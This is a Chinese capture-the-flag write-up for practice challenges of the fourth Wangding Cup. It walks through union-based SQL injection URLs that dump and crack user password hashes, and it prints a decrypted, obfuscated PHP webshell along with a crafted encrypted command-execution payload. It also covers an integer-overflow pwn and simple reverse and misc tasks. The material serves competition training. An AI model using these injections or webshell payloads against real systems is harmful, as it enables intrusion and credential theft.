第四届 网鼎杯 赛前模拟训练 WriteUp

admin 2024年10月28日23:24:40评论37 views字数 6791阅读22分38秒阅读模式

我们新点击蓝字

第四届 网鼎杯 赛前模拟训练 WriteUp

关注我们

声明

本文作者:CTF战队

本文字数:5965字

阅读时长:约15分钟

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

第四届 网鼎杯 赛前模拟训练 WriteUp

团队每周会报名参加各类CTF比赛,writeup在公众号更新。

我们建立了一个关于CTF的公开交流群,大家赛后可以交流技巧思路。

第四届 网鼎杯 赛前模拟训练 WriteUp

第四届“网鼎杯”网络安全大赛赛前模拟训练

https://c.wangdingcup.com/

WEB

WEB01

第四届 网鼎杯 赛前模拟训练 WriteUp
上传一句话

直接上传一句话木马,一般 flag 都是动态的,题目搭建的时候会存环境变量里,直接 env 找

第四届 网鼎杯 赛前模拟训练 WriteUp
找flag

WEB02

某集团总部近期对下属子公司的业务系统进行了一次安全检查,发现部分业务应用系统存在高危漏洞。您做为专业的第三方安全服务公司,请对该业务系统进行人工检查,确认是否存在高危的安全漏洞。

点击公告可以看见有文件 OA_announcement.php,经测试有整数型注入

http://ip/OA_announcement.php?id=1 and 1=0

直接开测,可以用异或注入,太慢了,用正常法子,先获取列数

http://ip/OA_announcement.php?id=0 order by 4

然后联合查询,查库

http://ip/OA_announcement.php?id=0 union select 1,2,group_concat(schema_name),4 from information_schema.schemata

拿到数据库名称,可以看到 Mozhe_OAsystem 数据库比较特殊

第四届 网鼎杯 赛前模拟训练 WriteUp
注入拿到数据库名称
information_schema,Mozhe_OAsystem,mysql,performance_schema

查表

http://ip/OA_announcement.php?id=0 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='Mozhe_OAsystem'

拿到 Mozhe_OAsystem 的表项

第四届 网鼎杯 赛前模拟训练 WriteUp
Mozhe_OAsystem
OA_Users,cms,ua

这里应该是获取用户名,然后登录获取 flag,接着查 OA_Users 表里的列名

http://ip/OA_announcement.php?id=0 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='OA_Users'

拿到 OA_Users 表里的列名

id,OAname,PassWord,Status

读 OA_Users 表

http://ip/OA_announcement.php?id=0 union select 1,group_concat(OAname),group_concat(PassWord),4 from Mozhe_OAsystem.OA_Users

获取到数据

OAname PassWord Status
2009371209 bd109afc78d44da53aafe2a2f5c1a207 0
2009340218 6fbb6973fa60551e5f09d22a51fd959d 1
2009371210 52f93e32913c2442485be99e37902921 1

破解后获得密码

2009371209 → abc2021,经测试,该账户禁用,所以我们破解后两个

2009340218 → 破解失败

2009371210 → 576938

第四届 网鼎杯 赛前模拟训练 WriteUp
破解密码

WEB03

XXXX集团内部办公系统的代码于2024年10月26日被恶意篡改,系统代码已备份,安全人员正在分析,请根据现状判断目前系统是否安全。

先扫一扫

python dirsearch.py -u http://0192c65d48e471c28f023cfa77c49f95.fu8t.dg04.wangdingcup.com:43001/
第四届 网鼎杯 赛前模拟训练 WriteUp
目录

解压看见describedssTest.php特殊

第四届 网鼎杯 赛前模拟训练 WriteUp
特殊文件
<?php
error_reporting(0);
header('Content-type: text/html; charset=utf-8');
$p8 = '3b7430adaed18facca7b799229138b7b';
$a8 = 'TURNeU9UWTBOelUwTmprd05UUTVOR0ZLV1ZwdU9XSkZORmh2WnpoS1RrNW1jRTFrTkdjOVBRPT0=';
$d8 = 'TURNeU9UWTBOelUwTmprd05UUTVOR012V1c5cVJXNXBkWEJyZDFsemJsQlpNMmRITjNaYWVFVnFPVWRqVnpoWlUyNXZNbmhDU21jd2RHTkxRazF2U1hvMU9FNUNWM2RNUjFWYVJuVnBiV3czUlVwUldFMTFhakp2VjJKS1NIVlJUMU5UYjNoSWExUk5hMlZXY21OdlRuaHVRMjlsVkV4aEwzbGpQUT09';
$v8 = '0329647546905494';
function e($D, $K)
{
    $cipher = 'aes-128-cbc';
    $encrypted = openssl_encrypt($D, $cipher, $K, 0, $GLOBALS['v8']);
    $result = base64_encode($GLOBALS['v8'] . $encrypted);
    $result = base64_encode($result);
    return $result;
}
function d($D, $K)
{
    $cipher = 'aes-128-cbc';
    $decodedData = base64_decode(base64_decode($D));
    $encryptedData = substr($decodedData, openssl_cipher_iv_length($cipher));
    $decrypted = openssl_decrypt($encryptedData, $cipher, $K, 0, $GLOBALS['v8']);
    return $decrypted;
}
$a8 = trim(d($a8, $p8));
ob_start();
$a8(trim(d($d8, $p8)));
$O = ob_get_contents();
ob_end_clean();
echo e($O, $p8);
?>

改下代码就能看见代码行为了,下面的代码改为如下

$a8 = trim(d($a8, $p8));
echo '$a8 = ' . $a8 . '<br/>';
$res = trim(d($d8, $p8));
echo '$res = ' . $res . '<br/>';
ob_start();
$a8($res);
$O = ob_get_contents();
ob_end_clean();
echo e($O, $p8);

可以看见输出为

$a8 = assert
$res = @eval("if(md5(@$_GET['id'])===$p8){@eval(trim(d($_POST['d'],$p8)));}")
TURNeU9UWTBOelUwTmprd05UUTVORmxVVVUxbVJucFdWQ3RFUjJoWlEwZEdiamwyZG1jOVBRPT0=

这就是一个正常的双加密一句话木马,需要先满足 id,然后直接连接木马就行了

第四届 网鼎杯 赛前模拟训练 WriteUp
一句话

这种情况就是两个思路了,一个是弱口令爆破,一个是这个不是入口文件,先尝试弱口令爆破,看响应包长度

http://www.ttmd5.com/

第四届 网鼎杯 赛前模拟训练 WriteUp
ttmd5

https://www.cmd5.com/

第四届 网鼎杯 赛前模拟训练 WriteUp
cmd5

看样子就是弱口令了,id 就是 md5(20241026),为 04c50eb4bc04c76311d03550ee2c1b71

d 需要加密后才能用,也就是说我们的命令要先加密才行,写个一句话木马,直接调用就行

先生成一个 PHP 的 RCE 代码

$aaa = "system($_POST['cmd']);";
$ddd = e($aaa, $p8);
echo '$cmd = ' . $ddd . '<br>';

得到

TURNeU9UWTBOelUwTmprd05UUTVORlpxZFhKQlMxSnlVakpyWVVobWJEVm9XbEoyWjNGeGQzUldXWEo0Vm1zMVMyTkVNRmh2VW5WaFFtYzk=

用蚁剑也行,构造eval($_POST['cmd']);

d=TURNeU9UWTBOelUwTmprd05UUTVORUp3YjFoR2FsZHVkM1ZMWW05NUwzSnVVa3N2VmtKdE1HbExZMHhoZEhBNGVHNXlZVTVaVGtGSWVHODk=&cmd
第四届 网鼎杯 赛前模拟训练 WriteUp
成功连接

Pwn

PWN01

发现一个可疑的网络通道,不确定是否存在安全问题,请根据提供的源码附件内容,对目标地址进行测试。

整数溢出问题,源码如下

#include <stdio.h>
#include <stdlib.h>

int main() {
        char flag[32];
        FILE* f = fopen("flag""r");
        if (f == NULL) {
                puts("flag not found");
                return 1;
        }
        fgets(flag, 32, f);
        fclose(f);

        setvbuf(stdout020);
        setvbuf(stdin020);
        printf("Input: ");
        char buffer[16];
        fgets(buffer, 16stdin);
        int val = atoi(buffer);
        if (val < 0) {
                puts("Error: no negative numbers allowed!");
                return 1;
        }
        int doubled = 2 * val;
        printf("Doubled: %in", doubled);
        if (doubled == -100) {
                puts(flag);
        }
}

输入 -50 是不被允许的,这里用的是 atoi 在C语言中,当你使用atoi函数将字符串"2147483648"转换为整数时,由于这个值超出了32位有符号整数(int)的范围,因此会发生溢出,变为 -2147483648。

2147483648 → -2147483648

2147483649 →  -2147483647

4294967296 → 0

4294967296 - 100→ -100

第四届 网鼎杯 赛前模拟训练 WriteUp
PWN

Misc

签到题

赛前模拟训练【签到题】,请下载赛题附件进行查看。

第四届 网鼎杯 赛前模拟训练 WriteUp
签到

MISC01

运维监测到有web攻击,请根据日志进行分析,找到攻击信息。

第四届 “网鼎杯” 赛前模拟训练 WriteUp
日志分析

w-d-f-l-a-g{14030b5a31e7984365c08da0ece8dd03}

全文搜索{得到

wdflag{14030b5a31e7984365c08da0ece8dd03}

Reverse

REVERSE01

某次服务器巡检过程中,发现一个可疑的Java源码,请根据提供的源码文件,分析找到隐藏在代码中的关键信息。

源码如下

import java.util.Scanner;

class ReverseEngineeringChallenge {
    public static void main(String args[]) {
        Scanner scanner = new Scanner(System.in);
        System.out.print("Enter password: ");
        String userInput = scanner.next();
        if (checkPassword(userInput)) {
            System.out.println("Access granted.");
        } else {
            System.out.println("Access denied!");
        }
    }

    public static boolean checkPassword(String password) {
        return password.length() == 20 &&
                password.charAt(0) == 'f' &&
                password.charAt(11) == '_' &&
                password.charAt(1) == 'l' &&
                password.charAt(6) == '0' &&
                password.charAt(3) == 'g' &&
                password.charAt(8) == '4' &&
                password.charAt(4) == '{' &&
                password.charAt(9) == '_' &&
                password.charAt(7) == '2' &&
                password.charAt(10) == '_' &&
                password.charAt(2) == 'a' &&
                password.charAt(12) == '_' &&
                password.charAt(5) == '2' &&
                password.charAt(17) == 'B' &&
                password.charAt(14) == '_' &&
                password.charAt(18) == '!' &&
                password.charAt(16) == '_' &&
                password.charAt(19) == '}' &&
                password.charAt(15) == 'D' &&
                password.charAt(13) == 'W';
    }
}

入门题,排个序就完了

flag{2024____W_D_B!}

但是提交不对?题目有问题,删一个下划线就行了

flag{2024___W_D_B!}

Crypto

CRYPTO01

运维人员在某网络设备中捕获一段加密代码,请帮忙分析其中的明文信息。

一把梭

第四届 网鼎杯 赛前模拟训练 WriteUp
一把梭

CRYPTO02

拦截到一张图片,请您分析这张图片中,是否包含有隐藏数据信息?

这题也该是 Misc,图片里有额外数据

第四届 网鼎杯 赛前模拟训练 WriteUp
图片

直接 Base64 解密

第四届 网鼎杯 赛前模拟训练 WriteUp
解密

作者

第四届 网鼎杯 赛前模拟训练 WriteUp

CTF战队

ctf.wgpsec.org

扫描关注公众号回复加群

和师傅们一起讨论研究~

WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec

第四届 网鼎杯 赛前模拟训练 WriteUp
第四届 网鼎杯 赛前模拟训练 WriteUp

原文始发于微信公众号(白帽子):第四届 “网鼎杯” 赛前模拟训练 WriteUp

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月28日23:24:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第四届 网鼎杯 赛前模拟训练 WriteUphttps://cn-sec.com/archives/3324195.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息